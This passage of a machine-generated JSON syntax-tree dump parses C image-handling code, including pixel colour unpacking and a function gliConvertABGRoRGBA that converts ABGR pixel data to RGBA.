"start_point": {"row": 121, "column": 23}, "end_point": {"row": 121, "column": 25}}, {"id": 943, "type": "number_literal", "text": "3", "parent": 940, "children": [], "start_point": {"row": 121, "column": 26}, "end_point": {"row": 121, "column": 27}}, {"id": 944, "type": "parenthesized_expression", "text": "((blue & 0x1) * 0x7)", "parent": 938, "children": [945], "start_point": {"row": 121, "column": 31}, "end_point": {"row": 121, "column": 51}}, {"id": 945, "type": "binary_expression", "text": "(blue & 0x1) * 0x7", "parent": 944, "children": [946, 950, 951], "start_point": {"row": 121, "column": 32}, "end_point": {"row": 121, "column": 50}}, {"id": 946, "type": "parenthesized_expression", "text": "(blue & 0x1)", "parent": 945, "children": [947], "start_point": {"row": 121, "column": 32}, "end_point": {"row": 121, "column": 44}}, {"id": 947, "type": "binary_expression", "text": "blue & 0x1", "parent": 946, "children": [948, 949], "start_point": {"row": 121, "column": 33}, "end_point": {"row": 121, "column": 43}}, {"id": 948, "type": "identifier", "text": "blue", "parent": 947, "children": [], "start_point": {"row": 121, "column": 33}, "end_point": {"row": 121, "column": 37}}, {"id": 949, "type": "number_literal", "text": "0x1", "parent": 947, "children": [], "start_point": {"row": 121, "column": 40}, "end_point": {"row": 121, "column": 43}}, {"id": 950, "type": "*", "text": "*", "parent": 945, "children": [], "start_point": {"row": 121, "column": 45}, "end_point": {"row": 121, "column": 46}}, {"id": 951, "type": "number_literal", "text": "0x7", "parent": 945, "children": [], "start_point": {"row": 121, "column": 47}, "end_point": {"row": 121, "column": 50}}, {"id": 952, "type": "assignment_expression", "text": "pixels[(j*w+i)*3+0] = red", "parent": 794, "children": [953, 969, 970], "start_point": {"row": 123, "column": 10}, "end_point": {"row": 123, "column": 35}}, {"id": 953, "type": "subscript_expression", "text": "pixels[(j*w+i)*3+0]", "parent": 952, "children": [954, 955], "start_point": {"row": 123, "column": 10}, "end_point": {"row": 123, "column": 29}}, {"id": 954, "type": "identifier", "text": "pixels", "parent": 953, "children": [], "start_point": {"row": 123, "column": 10}, "end_point": {"row": 123, "column": 16}}, {"id": 955, "type": "binary_expression", "text": "(j*w+i)*3+0", "parent": 953, "children": [956, 967, 968], "start_point": {"row": 123, "column": 17}, "end_point": {"row": 123, "column": 28}}, {"id": 956, "type": "binary_expression", "text": "(j*w+i)*3", "parent": 955, "children": [957, 965, 966], "start_point": {"row": 123, "column": 17}, "end_point": {"row": 123, "column": 26}}, {"id": 957, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 956, "children": [958], "start_point": {"row": 123, "column": 17}, "end_point": {"row": 123, "column": 24}}, {"id": 958, "type": "binary_expression", "text": "j*w+i", "parent": 957, "children": [959, 963, 964], "start_point": {"row": 123, "column": 18}, "end_point": {"row": 123, "column": 23}}, {"id": 959, "type": "binary_expression", "text": "j*w", "parent": 958, "children": [960, 961, 962], "start_point": {"row": 123, "column": 18}, "end_point": {"row": 123, "column": 21}}, {"id": 960, "type": "identifier", "text": "j", "parent": 959, "children": [], "start_point": {"row": 123, "column": 18}, "end_point": {"row": 123, "column": 19}}, {"id": 961, "type": "*", "text": "*", "parent": 959, "children": [], "start_point": {"row": 123, "column": 19}, "end_point": {"row": 123, "column": 20}}, {"id": 962, "type": "identifier", "text": "w", "parent": 959, "children": [], "start_point": {"row": 123, "column": 20}, "end_point": {"row": 123, "column": 21}}, {"id": 963, "type": "+", "text": "+", "parent": 958, "children": [], "start_point": {"row": 123, "column": 21}, "end_point": {"row": 123, "column": 22}}, {"id": 964, "type": "identifier", "text": "i", "parent": 958, "children": [], "start_point": {"row": 123, "column": 22}, "end_point": {"row": 123, "column": 23}}, {"id": 965, "type": "*", "text": "*", "parent": 956, "children": [], "start_point": {"row": 123, "column": 24}, "end_point": {"row": 123, "column": 25}}, {"id": 966, "type": "number_literal", "text": "3", "parent": 956, "children": [], "start_point": {"row": 123, "column": 25}, "end_point": {"row": 123, "column": 26}}, {"id": 967, "type": "+", "text": "+", "parent": 955, "children": [], "start_point": {"row": 123, "column": 26}, "end_point": {"row": 123, "column": 27}}, {"id": 968, "type": "number_literal", "text": "0", "parent": 955, "children": [], "start_point": {"row": 123, "column": 27}, "end_point": {"row": 123, "column": 28}}, {"id": 969, "type": "=", "text": "=", "parent": 952, "children": [], "start_point": {"row": 123, "column": 30}, "end_point": {"row": 123, "column": 31}}, {"id": 970, "type": "identifier", "text": "red", "parent": 952, "children": [], "start_point": {"row": 123, "column": 32}, "end_point": {"row": 123, "column": 35}}, {"id": 971, "type": "assignment_expression", "text": "pixels[(j*w+i)*3+1] = green", "parent": 794, "children": [972, 988, 989], "start_point": {"row": 124, "column": 10}, "end_point": {"row": 124, "column": 37}}, {"id": 972, "type": "subscript_expression", "text": "pixels[(j*w+i)*3+1]", "parent": 971, "children": [973, 974], "start_point": {"row": 124, "column": 10}, "end_point": {"row": 124, "column": 29}}, {"id": 973, "type": "identifier", "text": "pixels", "parent": 972, "children": [], "start_point": {"row": 124, "column": 10}, "end_point": {"row": 124, "column": 16}}, {"id": 974, "type": "binary_expression", "text": "(j*w+i)*3+1", "parent": 972, "children": [975, 986, 987], "start_point": {"row": 124, "column": 17}, "end_point": {"row": 124, "column": 28}}, {"id": 975, "type": "binary_expression", "text": "(j*w+i)*3", "parent": 974, "children": [976, 984, 985], "start_point": {"row": 124, "column": 17}, "end_point": {"row": 124, "column": 26}}, {"id": 976, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 975, "children": [977], "start_point": {"row": 124, "column": 17}, "end_point": {"row": 124, "column": 24}}, {"id": 977, "type": "binary_expression", "text": "j*w+i", "parent": 976, "children": [978, 982, 983], "start_point": {"row": 124, "column": 18}, "end_point": {"row": 124, "column": 23}}, {"id": 978, "type": "binary_expression", "text": "j*w", "parent": 977, "children": [979, 980, 981], "start_point": {"row": 124, "column": 18}, "end_point": {"row": 124, "column": 21}}, {"id": 979, "type": "identifier", "text": "j", "parent": 978, "children": [], "start_point": {"row": 124, "column": 18}, "end_point": {"row": 124, "column": 19}}, {"id": 980, "type": "*", "text": "*", "parent": 978, "children": [], "start_point": {"row": 124, "column": 19}, "end_point": {"row": 124, "column": 20}}, {"id": 981, "type": "identifier", "text": "w", "parent": 978, "children": [], "start_point": {"row": 124, "column": 20}, "end_point": {"row": 124, "column": 21}}, {"id": 982, "type": "+", "text": "+", "parent": 977, "children": [], "start_point": {"row": 124, "column": 21}, "end_point": {"row": 124, "column": 22}}, {"id": 983, "type": "identifier", "text": "i", "parent": 977, "children": [], "start_point": {"row": 124, "column": 22}, "end_point": {"row": 124, "column": 23}}, {"id": 984, "type": "*", "text": "*", "parent": 975, "children": [], "start_point": {"row": 124, "column": 24}, "end_point": {"row": 124, "column": 25}}, {"id": 985, "type": "number_literal", "text": "3", "parent": 975, "children": [], "start_point": {"row": 124, "column": 25}, "end_point": {"row": 124, "column": 26}}, {"id": 986, "type": "+", "text": "+", "parent": 974, "children": [], "start_point": {"row": 124, "column": 26}, "end_point": {"row": 124, "column": 27}}, {"id": 987, "type": "number_literal", "text": "1", "parent": 974, "children": [], "start_point": {"row": 124, "column": 27}, "end_point": {"row": 124, "column": 28}}, {"id": 988, "type": "=", "text": "=", "parent": 971, "children": [], "start_point": {"row": 124, "column": 30}, "end_point": {"row": 124, "column": 31}}, {"id": 989, "type": "identifier", "text": "green", "parent": 971, "children": [], "start_point": {"row": 124, "column": 32}, "end_point": {"row": 124, "column": 37}}, {"id": 990, "type": "assignment_expression", "text": "pixels[(j*w+i)*3+2] = blue", "parent": 794, "children": [991, 1007, 1008], "start_point": {"row": 125, "column": 10}, "end_point": {"row": 125, "column": 36}}, {"id": 991, "type": "subscript_expression", "text": "pixels[(j*w+i)*3+2]", "parent": 990, "children": [992, 993], "start_point": {"row": 125, "column": 10}, "end_point": {"row": 125, "column": 29}}, {"id": 992, "type": "identifier", "text": "pixels", "parent": 991, "children": [], "start_point": {"row": 125, "column": 10}, "end_point": {"row": 125, "column": 16}}, {"id": 993, "type": "binary_expression", "text": "(j*w+i)*3+2", "parent": 991, "children": [994, 1005, 1006], "start_point": {"row": 125, "column": 17}, "end_point": {"row": 125, "column": 28}}, {"id": 994, "type": "binary_expression", "text": "(j*w+i)*3", "parent": 993, "children": [995, 1003, 1004], "start_point": {"row": 125, "column": 17}, "end_point": {"row": 125, "column": 26}}, {"id": 995, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 994, "children": [996], "start_point": {"row": 125, "column": 17}, "end_point": {"row": 125, "column": 24}}, {"id": 996, "type": "binary_expression", "text": "j*w+i", "parent": 995, "children": [997, 1001, 1002], "start_point": {"row": 125, "column": 18}, "end_point": {"row": 125, "column": 23}}, {"id": 997, "type": "binary_expression", "text": "j*w", "parent": 996, "children": [998, 999, 1000], "start_point": {"row": 125, "column": 18}, "end_point": {"row": 125, "column": 21}}, {"id": 998, "type": "identifier", "text": "j", "parent": 997, "children": [], "start_point": {"row": 125, "column": 18}, "end_point": {"row": 125, "column": 19}}, {"id": 999, "type": "*", "text": "*", "parent": 997, "children": [], "start_point": {"row": 125, "column": 19}, "end_point": {"row": 125, "column": 20}}, {"id": 1000, "type": "identifier", "text": "w", "parent": 997, "children": [], "start_point": {"row": 125, "column": 20}, "end_point": {"row": 125, "column": 21}}, {"id": 1001, "type": "+", "text": "+", "parent": 996, "children": [], "start_point": {"row": 125, "column": 21}, "end_point": {"row": 125, "column": 22}}, {"id": 1002, "type": "identifier", "text": "i", "parent": 996, "children": [], "start_point": {"row": 125, "column": 22}, "end_point": {"row": 125, "column": 23}}, {"id": 1003, "type": "*", "text": "*", "parent": 994, "children": [], "start_point": {"row": 125, "column": 24}, "end_point": {"row": 125, "column": 25}}, {"id": 1004, "type": "number_literal", "text": "3", "parent": 994, "children": [], "start_point": {"row": 125, "column": 25}, "end_point": {"row": 125, "column": 26}}, {"id": 1005, "type": "+", "text": "+", "parent": 993, "children": [], "start_point": {"row": 125, "column": 26}, "end_point": {"row": 125, "column": 27}}, {"id": 1006, "type": "number_literal", "text": "2", "parent": 993, "children": [], "start_point": {"row": 125, "column": 27}, "end_point": {"row": 125, "column": 28}}, {"id": 1007, "type": "=", "text": "=", "parent": 990, "children": [], "start_point": {"row": 125, "column": 30}, "end_point": {"row": 125, "column": 31}}, {"id": 1008, "type": "identifier", "text": "blue", "parent": 990, "children": [], "start_point": {"row": 125, "column": 32}, "end_point": {"row": 125, "column": 36}}, {"id": 1009, "type": "assignment_expression", "text": "image->type = GL_UNSIGNED_BYTE", "parent": 425, "children": [1010, 1013, 1014], "start_point": {"row": 129, "column": 4}, "end_point": {"row": 129, "column": 34}}, {"id": 1010, "type": "field_expression", "text": "image->type", "parent": 1009, "children": [1011, 1012], "start_point": {"row": 129, "column": 4}, "end_point": {"row": 129, "column": 15}}, {"id": 1011, "type": "identifier", "text": "image", "parent": 1010, "children": [], "start_point": {"row": 129, "column": 4}, "end_point": {"row": 129, "column": 9}}, {"id": 1012, "type": "field_identifier", "text": "type", "parent": 1010, "children": [], "start_point": {"row": 129, "column": 11}, "end_point": {"row": 129, "column": 15}}, {"id": 1013, "type": "=", "text": "=", "parent": 1009, "children": [], "start_point": {"row": 129, "column": 16}, "end_point": {"row": 129, "column": 17}}, {"id": 1014, "type": "identifier", "text": "GL_UNSIGNED_BYTE", "parent": 1009, "children": [], "start_point": {"row": 129, "column": 18}, "end_point": {"row": 129, "column": 34}}, {"id": 1015, "type": "call_expression", "text": "free(spixels)", "parent": 425, "children": [1016, 1017], "start_point": {"row": 130, "column": 4}, "end_point": {"row": 130, "column": 17}}, {"id": 1016, "type": "identifier", "text": "free", "parent": 1015, "children": [], "start_point": {"row": 130, "column": 4}, "end_point": {"row": 130, "column": 8}}, {"id": 1017, "type": "argument_list", "text": "(spixels)", "parent": 1015, "children": [1018], "start_point": {"row": 130, "column": 8}, "end_point": {"row": 130, "column": 17}}, {"id": 1018, "type": "identifier", "text": "spixels", "parent": 1017, "children": [], "start_point": {"row": 130, "column": 9}, "end_point": {"row": 130, "column": 16}}, {"id": 1019, "type": "break_statement", "text": "break;", "parent": 425, "children": [1020], "start_point": {"row": 131, "column": 4}, "end_point": {"row": 131, "column": 10}}, {"id": 1020, "type": "break", "text": "break", "parent": 1019, "children": [], "start_point": {"row": 131, "column": 4}, "end_point": {"row": 131, "column": 9}}, {"id": 1021, "type": "case_statement", "text": "default:\n assert(0);\n break;", "parent": 267, "children": [1022, 1027], "start_point": {"row": 132, "column": 2}, "end_point": {"row": 134, "column": 10}}, {"id": 1022, "type": "default", "text": "default", "parent": 1021, "children": [], "start_point": {"row": 132, "column": 2}, "end_point": {"row": 132, "column": 9}}, {"id": 1023, "type": "call_expression", "text": "assert(0)", "parent": 1021, "children": [1024, 1025], "start_point": {"row": 133, "column": 4}, "end_point": {"row": 133, "column": 13}}, {"id": 1024, "type": "identifier", "text": "assert", "parent": 1023, "children": [], "start_point": {"row": 133, "column": 4}, "end_point": {"row": 133, "column": 10}}, {"id": 1025, "type": "argument_list", "text": "(0)", "parent": 1023, "children": [1026], "start_point": {"row": 133, "column": 10}, "end_point": {"row": 133, "column": 13}}, {"id": 1026, "type": "number_literal", "text": "0", "parent": 1025, "children": [], "start_point": {"row": 133, "column": 11}, "end_point": {"row": 133, "column": 12}}, {"id": 1027, "type": "break_statement", "text": "break;", "parent": 1021, "children": [1028], "start_point": {"row": 134, "column": 4}, "end_point": {"row": 134, "column": 10}}, {"id": 1028, "type": "break", "text": "break", "parent": 1027, "children": [], "start_point": {"row": 134, "column": 4}, "end_point": {"row": 134, "column": 9}}, {"id": 1029, "type": "function_definition", "text": "void\ngliConvertABGRoRGBA(gliGenericImage *image)\n{\n const int components = 4;\n GLubyte pixel[4];\n int w, h;\n GLubyte *pixels;\n int i, j, c;\n\n w = image->width;\n h = image->height;\n pixels = image->pixels;\n\n assert(image->format == GL_ABGR_EXT);\n image->format = GL_RGBA;\n\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[3];\n pixels[(j*w+i)*components+1] = pixel[2];\n pixels[(j*w+i)*components+2] = pixel[1];\n pixels[(j*w+i)*components+3] = pixel[0];\n }\n }\n}", "parent": null, "children": [1030, 1031], "start_point": {"row": 138, "column": 0}, "end_point": {"row": 165, "column": 1}}, {"id": 1030, "type": "primitive_type", "text": "void", "parent": 1029, "children": [], "start_point": {"row": 138, "column": 0}, "end_point": {"row": 138, "column": 4}}, {"id": 1031, "type": "function_declarator", "text": "gliConvertABGRoRGBA(gliGenericImage *image)", "parent": 1029, "children": [1032, 1033], "start_point": {"row": 139, "column": 0}, "end_point": {"row": 139, "column": 43}}, {"id": 1032, "type": "identifier", "text": "gliConvertABGRoRGBA", "parent": 1031, "children": [], "start_point": {"row": 139, "column": 0}, "end_point": {"row": 139, "column": 19}}, {"id": 1033, "type": "parameter_list", "text": "(gliGenericImage *image)", "parent": 1031, "children": [1034], "start_point": {"row": 139, "column": 19}, "end_point": {"row": 139, "column": 43}}, {"id": 1034, "type": "parameter_declaration", "text": "gliGenericImage *image", "parent": 1033, "children": [1035, 1036], "start_point": {"row": 139, "column": 20}, "end_point": {"row": 139, "column": 42}}, {"id": 1035, "type": "type_identifier", "text": "gliGenericImage", "parent": 1034, "children": [], "start_point": {"row": 139, "column": 20}, "end_point": {"row": 139, "column": 35}}, {"id": 1036, "type": "pointer_declarator", "text": "*image", "parent": 1034, "children": [1037, 1038], "start_point": {"row": 139, "column": 36}, "end_point": {"row": 139, "column": 42}}, {"id": 1037, "type": "*", "text": "*", "parent": 1036, "children": [], "start_point": {"row": 139, "column": 36}, "end_point": {"row": 139, "column": 37}}, {"id": 1038, "type": "identifier", "text": "image", "parent": 1036, "children": [], "start_point": {"row": 139, "column": 37}, "end_point": {"row": 139, "column": 42}}, {"id": 1039, "type": "declaration", "text": "const int components = 4;", "parent": 1029, "children": [1040, 1041], "start_point": {"row": 141, "column": 2}, "end_point": {"row": 141, "column": 27}}, {"id": 1040, "type": "primitive_type", "text": "int", "parent": 1039, "children": [], "start_point": {"row": 141, "column": 8}, "end_point": {"row": 141, "column": 11}}, {"id": 1041, "type": "init_declarator", "text": "components = 4", "parent": 1039, "children": [1042, 1043, 1044], "start_point": {"row": 141, "column": 12}, "end_point": {"row": 141, "column": 26}}, {"id": 1042, "type": "identifier", "text": "components", "parent": 1041, "children": [], "start_point": {"row": 141, "column": 12}, "end_point": {"row": 141, "column": 22}}, {"id": 1043, "type": "=", "text": "=", "parent": 1041, "children": [], "start_point": {"row": 141, "column": 23}, "end_point": {"row": 141, "column": 24}}, {"id": 1044, "type": "number_literal", "text": "4", "parent": 1041, "children": [], "start_point": {"row": 141, "column": 25}, "end_point": {"row": 141, "column": 26}}, {"id": 1045, "type": "declaration", "text": "GLubyte pixel[4];", "parent": 1029, "children": [1046, 1047], "start_point": {"row": 142, "column": 2}, "end_point": {"row": 142, "column": 19}}, {"id": 1046, "type": "type_identifier", "text": "GLubyte", "parent": 1045, "children": [], "start_point": {"row": 142, "column": 2}, "end_point": {"row": 142, "column": 9}}, {"id": 1047, "type": "array_declarator", "text": "pixel[4]", "parent": 1045, "children": [1048, 1049], "start_point": {"row": 142, "column": 10}, "end_point": {"row": 142, "column": 18}}, {"id": 1048, "type": "identifier", "text": "pixel", "parent": 1047, "children": [], "start_point": {"row": 142, "column": 10}, "end_point": {"row": 142, "column": 15}}, {"id": 1049, "type": "number_literal", "text": "4", "parent": 1047, "children": [], "start_point": {"row": 142, "column": 16}, "end_point": {"row": 142, "column": 17}}, {"id": 1050, "type": "declaration", "text": "int w, h;", "parent": 1029, "children": [1051, 1052, 1053], "start_point": {"row": 143, "column": 2}, "end_point": {"row": 143, "column": 11}}, {"id": 1051, "type": "primitive_type", "text": "int", "parent": 1050, "children": [], "start_point": {"row": 143, "column": 2}, "end_point": {"row": 143, "column": 5}}, {"id": 1052, "type": "identifier", "text": "w", "parent": 1050, "children": [], "start_point": {"row": 143, "column": 6}, "end_point": {"row": 143, "column": 7}}, {"id": 1053, "type": "identifier", "text": "h", "parent": 1050, "children": [], "start_point": {"row": 143, "column": 9}, "end_point": {"row": 143, "column": 10}}, {"id": 1054, "type": "declaration", "text": "GLubyte *pixels;", "parent": 1029, "children": [1055, 1056], "start_point": {"row": 144, "column": 2}, "end_point": {"row": 144, "column": 18}}, {"id": 1055, "type": "type_identifier", "text": "GLubyte", "parent": 1054, "children": [], "start_point": {"row": 144, "column": 2}, "end_point": {"row": 144, "column": 9}}, {"id": 1056, "type": "pointer_declarator", "text": "*pixels", "parent": 1054, "children": [1057, 1058], "start_point": {"row": 144, "column": 10}, "end_point": {"row": 144, "column": 17}}, {"id": 1057, "type": "*", "text": "*", "parent": 1056, "children": [], "start_point": {"row": 144, "column": 10}, "end_point": {"row": 144, "column": 11}}, {"id": 1058, "type": "identifier", "text": "pixels", "parent": 1056, "children": [], "start_point": {"row": 144, "column": 11}, "end_point": {"row": 144, "column": 17}}, {"id": 1059, "type": "declaration", "text": "int i, j, c;", "parent": 1029, "children": [1060, 1061, 1062, 1063], "start_point": {"row": 145, "column": 2}, "end_point": {"row": 145, "column": 14}}, {"id": 1060, "type": "primitive_type", "text": "int", "parent": 1059, "children": [], "start_point": {"row": 145, "column": 2}, "end_point": {"row": 145, "column": 5}}, {"id": 1061, "type": "identifier", "text": "i", "parent": 1059, "children": [], "start_point": {"row": 145, "column": 6}, "end_point": {"row": 145, "column": 7}}, {"id": 1062, "type": "identifier", "text": "j", "parent": 1059, "children": [], "start_point": {"row": 145, "column": 9}, "end_point": {"row": 145, "column": 10}}, {"id": 1063, "type": "identifier", "text": "c", "parent": 1059, "children": [], "start_point": {"row": 145, "column": 12}, "end_point": {"row": 145, "column": 13}}, {"id": 1064, "type": "assignment_expression", "text": "w = image->width", "parent": 1029, "children": [1065, 1066, 1067], "start_point": {"row": 147, "column": 2}, "end_point": {"row": 147, "column": 18}}, {"id": 1065, "type": "identifier", "text": "w", "parent": 1064, "children": [], "start_point": {"row": 147, "column": 2}, "end_point": {"row": 147, "column": 3}}, {"id": 1066, "type": "=", "text": "=", "parent": 1064, "children": [], "start_point": {"row": 147, "column": 4}, "end_point": {"row": 147, "column": 5}}, {"id": 1067, "type": "field_expression", "text": "image->width", "parent": 1064, "children": [1068, 1069], "start_point": {"row": 147, "column": 6}, "end_point": {"row": 147, "column": 18}}, {"id": 1068, "type": "identifier", "text": "image", "parent": 1067, "children": [], "start_point": {"row": 147, "column": 6}, "end_point": {"row": 147, "column": 11}}, {"id": 1069, "type": "field_identifier", "text": "width", "parent": 1067, "children": [], "start_point": {"row": 147, "column": 13}, "end_point": {"row": 147, "column": 18}}, {"id": 1070, "type": "assignment_expression", "text": "h = image->height", "parent": 1029, "children": [1071, 1072, 1073], "start_point": {"row": 148, "column": 2}, "end_point": {"row": 148, "column": 19}}, {"id": 1071, "type": "identifier", "text": "h", "parent": 1070, "children": [], "start_point": {"row": 148, "column": 2}, "end_point": {"row": 148, "column": 3}}, {"id": 1072, "type": "=", "text": "=", "parent": 1070, "children": [], "start_point": {"row": 148, "column": 4}, "end_point": {"row": 148, "column": 5}}, {"id": 1073, "type": "field_expression", "text": "image->height", "parent": 1070, "children": [1074, 1075], "start_point": {"row": 148, "column": 6}, "end_point": {"row": 148, "column": 19}}, {"id": 1074, "type": "identifier", "text": "image", "parent": 1073, "children": [], "start_point": {"row": 148, "column": 6}, "end_point": {"row": 148, "column": 11}}, {"id": 1075, "type": "field_identifier", "text": "height", "parent": 1073, "children": [], "start_point": {"row": 148, "column": 13}, "end_point": {"row": 148, "column": 19}}, {"id": 1076, "type": "assignment_expression", "text": "pixels = image->pixels", "parent": 1029, "children": [1077, 1078, 1079], "start_point": {"row": 149, "column": 2}, "end_point": {"row": 149, "column": 24}}, {"id": 1077, "type": "identifier", "text": "pixels", "parent": 1076, "children": [], "start_point": {"row": 149, "column": 2}, "end_point": {"row": 149, "column": 8}}, {"id": 1078, "type": "=", "text": "=", "parent": 1076, "children": [], "start_point": {"row": 149, "column": 9}, "end_point": {"row": 149, "column": 10}}, {"id": 1079, "type": "field_expression", "text": "image->pixels", "parent": 1076, "children": [1080, 1081], "start_point": {"row": 149, "column": 11}, "end_point": {"row": 149, "column": 24}}, {"id": 1080, "type": "identifier", "text": "image", "parent": 1079, "children": [], "start_point": {"row": 149, "column": 11}, "end_point": {"row": 149, "column": 16}}, {"id": 1081, "type": "field_identifier", "text": "pixels", "parent": 1079, "children": [], "start_point": {"row": 149, "column": 18}, "end_point": {"row": 149, "column": 24}}, {"id": 1082, "type": "call_expression", "text": "assert(image->format == GL_ABGR_EXT)", "parent": 1029, "children": [1083, 1084], "start_point": {"row": 151, "column": 2}, "end_point": {"row": 151, "column": 38}}, {"id": 1083, "type": "identifier", "text": "assert", "parent": 1082, "children": [], "start_point": {"row": 151, "column": 2}, "end_point": {"row": 151, "column": 8}}, {"id": 1084, "type": "argument_list", "text": "(image->format == GL_ABGR_EXT)", "parent": 1082, "children": [1085], "start_point": {"row": 151, "column": 8}, "end_point": {"row": 151, "column": 38}}, {"id": 1085, "type": "binary_expression", "text": "image->format == GL_ABGR_EXT", "parent": 1084, "children": [1086, 1089, 1090], "start_point": {"row": 151, "column": 9}, "end_point": {"row": 151, "column": 37}}, {"id": 1086, "type": "field_expression", "text": "image->format", "parent": 1085, "children": [1087, 1088], "start_point": {"row": 151, "column": 9}, "end_point": {"row": 151, "column": 22}}, {"id": 1087, "type": "identifier", "text": "image", "parent": 1086, "children": [], "start_point": {"row": 151, "column": 9}, "end_point": {"row": 151, "column": 14}}, {"id": 1088, "type": "field_identifier", "text": "format", "parent": 1086, "children": [], "start_point": {"row": 151, "column": 16}, "end_point": {"row": 151, "column": 22}}, {"id": 1089, "type": "==", "text": "==", "parent": 1085, "children": [], "start_point": {"row": 151, "column": 23}, "end_point": {"row": 151, "column": 25}}, {"id": 1090, "type": "identifier", "text": "GL_ABGR_EXT", "parent": 1085, "children": [], "start_point": {"row": 151, "column": 26}, "end_point": {"row": 151, "column": 37}}, {"id": 1091, "type": "assignment_expression", "text": "image->format = GL_RGBA", "parent": 1029, "children": [1092, 1095, 1096], "start_point": {"row": 152, "column": 2}, "end_point": {"row": 152, "column": 25}}, {"id": 1092, "type": "field_expression", "text": "image->format", "parent": 1091, "children": [1093, 1094], "start_point": {"row": 152, "column": 2}, "end_point": {"row": 152, "column": 15}}, {"id": 1093, "type": "identifier", "text": "image", "parent": 1092, "children": [], "start_point": {"row": 152, "column": 2}, "end_point": {"row": 152, "column": 7}}, {"id": 1094, "type": "field_identifier", "text": "format", "parent": 1092, "children": [], "start_point": {"row": 152, "column": 9}, "end_point": {"row": 152, "column": 15}}, {"id": 1095, "type": "=", "text": "=", "parent": 1091, "children": [], "start_point": {"row": 152, "column": 16}, "end_point": {"row": 152, "column": 17}}, {"id": 1096, "type": "identifier", "text": "GL_RGBA", "parent": 1091, "children": [], "start_point": {"row": 152, "column": 18}, "end_point": {"row": 152, "column": 25}}, {"id": 1097, "type": "for_statement", "text": "for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[3];\n pixels[(j*w+i)*components+1] = pixel[2];\n pixels[(j*w+i)*components+2] = pixel[1];\n pixels[(j*w+i)*components+3] = pixel[0];\n }\n }", "parent": 1029, "children": [1098, 1102, 1106], "start_point": {"row": 154, "column": 2}, "end_point": {"row": 164, "column": 3}}, {"id": 1098, "type": "assignment_expression", "text": "j=0", "parent": 1097, "children": [1099, 1100, 1101], "start_point": {"row": 154, "column": 7}, "end_point": {"row": 154, "column": 10}}, {"id": 1099, "type": "identifier", "text": "j", "parent": 1098, "children": [], "start_point": {"row": 154, "column": 7}, "end_point": {"row": 154, "column": 8}}, {"id": 1100, "type": "=", "text": "=", "parent": 1098, "children": [], "start_point": {"row": 154, "column": 8}, "end_point": {"row": 154, "column": 9}}, {"id": 1101, "type": "number_literal", "text": "0", "parent": 1098, "children": [], "start_point": {"row": 154, "column": 9}, "end_point": {"row": 154, "column": 10}}, {"id": 1102, "type": "binary_expression", "text": "j<h", "parent": 1097, "children": [1103, 1104, 1105], "start_point": {"row": 154, "column": 12}, "end_point": {"row": 154, "column": 15}}, {"id": 1103, "type": "identifier", "text": "j", "parent": 1102, "children": [], "start_point": {"row": 154, "column": 12}, "end_point": {"row": 154, "column": 13}}, {"id": 1104, "type": "<", "text": "<", "parent": 1102, "children": [], "start_point": {"row": 154, "column": 13}, "end_point": {"row": 154, "column": 14}}, {"id": 1105, "type": "identifier", "text": "h", "parent": 1102, "children": [], "start_point": {"row": 154, "column": 14}, "end_point": {"row": 154, "column": 15}}, {"id": 1106, "type": "update_expression", "text": "j++", "parent": 1097, "children": [1107, 1108], "start_point": {"row": 154, "column": 17}, "end_point": {"row": 154, "column": 20}}, {"id": 1107, "type": "identifier", "text": "j", "parent": 1106, "children": [], "start_point": {"row": 154, "column": 17}, "end_point": {"row": 154, "column": 18}}, {"id": 1108, "type": "++", "text": "++", "parent": 1106, "children": [], "start_point": {"row": 154, "column": 18}, "end_point": {"row": 154, "column": 20}}, {"id": 1109, "type": "for_statement", "text": "for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[3];\n pixels[(j*w+i)*components+1] = pixel[2];\n pixels[(j*w+i)*components+2] = pixel[1];\n pixels[(j*w+i)*components+3] = pixel[0];\n }", "parent": 1097, "children": [1110, 1114, 1118], "start_point": {"row": 155, "column": 4}, "end_point": {"row": 163, "column": 5}}, {"id": 1110, "type": "assignment_expression", "text": "i=0", "parent": 1109, "children": [1111, 1112, 1113], "start_point": {"row": 155, "column": 9}, "end_point": {"row": 155, "column": 12}}, {"id": 1111, "type": "identifier", "text": "i", "parent": 1110, "children": [], "start_point": {"row": 155, "column": 9}, "end_point": {"row": 155, "column": 10}}, {"id": 1112, "type": "=", "text": "=", "parent": 1110, "children": [], "start_point": {"row": 155, "column": 10}, "end_point": {"row": 155, "column": 11}}, {"id": 1113, "type": "number_literal", "text": "0", "parent": 1110, "children": [], "start_point": {"row": 155, "column": 11}, "end_point": {"row": 155, "column": 12}}, {"id": 1114, "type": "binary_expression", "text": "i<w", "parent": 1109, "children": [1115, 1116, 1117], "start_point": {"row": 155, "column": 14}, "end_point": {"row": 155, "column": 17}}, {"id": 1115, "type": "identifier", "text": "i", "parent": 1114, "children": [], "start_point": {"row": 155, "column": 14}, "end_point": {"row": 155, "column": 15}}, {"id": 1116, "type": "<", "text": "<", "parent": 1114, "children": [], "start_point": {"row": 155, "column": 15}, "end_point": {"row": 155, "column": 16}}, {"id": 1117, "type": "identifier", "text": "w", "parent": 1114, "children": [], "start_point": {"row": 155, "column": 16}, "end_point": {"row": 155, "column": 17}}, {"id": 1118, "type": "update_expression", "text": "i++", "parent": 1109, "children": [1119, 1120], "start_point": {"row": 155, "column": 19}, "end_point": {"row": 155, "column": 22}}, {"id": 1119, "type": "identifier", "text": "i", "parent": 1118, "children": [], "start_point": {"row": 155, "column": 19}, "end_point": {"row": 155, "column": 20}}, {"id": 1120, "type": "++", "text": "++", "parent": 1118, "children": [], "start_point": {"row": 155, "column": 20}, "end_point": {"row": 155, "column": 22}}, {"id": 1121, "type": "for_statement", "text": "for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }", "parent": 1109, "children": [1122, 1126, 1130], "start_point": {"row": 156, "column": 6}, "end_point": {"row": 158, "column": 7}}, {"id": 1122, "type": "assignment_expression", "text": "c=0", "parent": 